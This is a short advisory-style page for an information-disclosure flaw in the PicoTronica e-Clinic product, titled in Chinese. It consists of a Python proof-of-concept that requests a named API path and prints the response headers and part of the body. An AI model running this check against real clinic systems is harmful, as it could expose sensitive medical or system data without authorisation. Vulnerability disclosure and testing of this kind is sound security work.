CVE-2026-8033 PicoTronica e-Clinic信息泄露漏洞

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-8033 Checks for information disclosure in the Response Header Handler. """ path = "/cdemos/echs/api/v2/" full_url = f"{target_url}{path}" try: # Send a GET request to the vulnerable endpoint response = requests.get(full_url, timeout=10) print(f"[+] Request sent to: {full_url}") print(f"[+] Status Code: {response.status_code}") # Check response headers for potential leaks print("[+] Checking Response Headers:") for header, value in response.headers.items(): print(f" {header}: {value}") # Check response body for potential leaks print("[+] Checking Response Body:") print(response.text[:200]) # Print first 200 chars if response.status_code == 200: print("[!] Potential vulnerability detected. Analyze output for sensitive data.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target check_vulnerability(target)